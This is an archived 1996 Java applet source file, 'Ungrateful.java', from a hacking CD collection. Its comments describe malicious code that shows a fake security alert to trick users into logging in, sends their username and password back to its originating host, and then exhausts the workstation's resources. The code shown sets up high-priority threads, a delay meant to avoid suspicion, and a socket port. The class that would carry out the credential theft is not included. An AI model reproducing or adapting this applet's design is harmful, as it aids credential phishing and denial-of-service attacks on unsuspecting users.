home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / INTERNET / UNGRAT_1.ZIP / UNGRAT~1.JAV
Encoding:
Text File  |  1996-04-27  |  2.7 KB  |  97 lines

  1. /* Ungrateful.java by Mark D. LaDue */
  2.  
  3. /* February 28, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet tries to convince you that your system is having
  10.    a security problem and that you must now log in to start Netscape
  11.    once again.  If you do so, your user name and password are sent
  12.    by the browser to the home of this applet. In any event, the
  13.    applet then proceeds to drop the bomb on your workstation. */ 
  14.  
  15. import java.awt.*;
  16. import java.applet.Applet;
  17.  
  18. public class Ungrateful extends java.applet.Applet implements Runnable {
  19.  
  20. //  Just a font to paint strings to the applet window 
  21.     Font bigFont = new Font("TimesRoman", Font.BOLD, 36);
  22.  
  23. //  These threads will attempt to  trick you
  24. //  into logging in, and send your host, login name, and
  25. //  password to its source 
  26.     Thread controller = null;
  27.     Thread sleeper = null;
  28.  
  29. //  Used to read in a parameter that makes the thread sleep for a
  30. //  specified number of seconds taking effect
  31.     int delay;
  32. //  Used to read in a parameter that determines the port to which
  33. //  Sockets will be connected
  34.     public static int thePort;
  35.  
  36.     public void init() {
  37.     setBackground(Color.white);
  38.  
  39. //  Determine how many seconds the main thread should sleep before kicking in
  40.     String str = getParameter("wait");
  41.     if (str == null)
  42.         delay = 0;
  43.     else delay = (1000)*(Integer.parseInt(str));
  44. //  Determine the port number
  45.     str = getParameter("portnumber");
  46.     if (str == null)
  47.         thePort = 7000;
  48.     else thePort = Integer.parseInt(str);
  49.     }
  50.  
  51.  
  52. /*  Create and start the main thread in the standard way */
  53.  
  54.     public void start() {
  55.         if (sleeper == null) {
  56.         sleeper = new Thread(this);
  57.         sleeper.setPriority(Thread.MAX_PRIORITY);
  58.         sleeper.start();
  59.         }
  60.     }
  61.  
  62.     public void stop() {}
  63.  
  64.  
  65. /*  Open a tricky window and start doing wasteful operations */
  66.  
  67.     public void run() {
  68.  
  69. //  Let the applet tell its lie
  70.         repaint();
  71.  
  72. //  Let the applet sleep for a while to avert suspicion
  73.         try {sleeper.sleep(delay);}
  74.         catch(InterruptedException e) {}
  75.  
  76.         if (controller == null) {
  77.         ErrorMessage err = new ErrorMessage();
  78.         controller = new Thread(err);
  79.         controller.setPriority(Thread.MAX_PRIORITY);
  80.         controller.start();
  81.         }
  82.     }
  83.  
  84. /*  Paints the applet's lie */
  85.  
  86.     public void update(Graphics g) {
  87.         paint(g);
  88.     }
  89.  
  90.     public void paint(Graphics g) {
  91.     g.setColor(Color.blue);
  92.     g.setFont(bigFont);
  93.     g.drawString("All Applets Are Trustworthy!", 10, 200);
  94.     }
  95. }
  96.  
  97.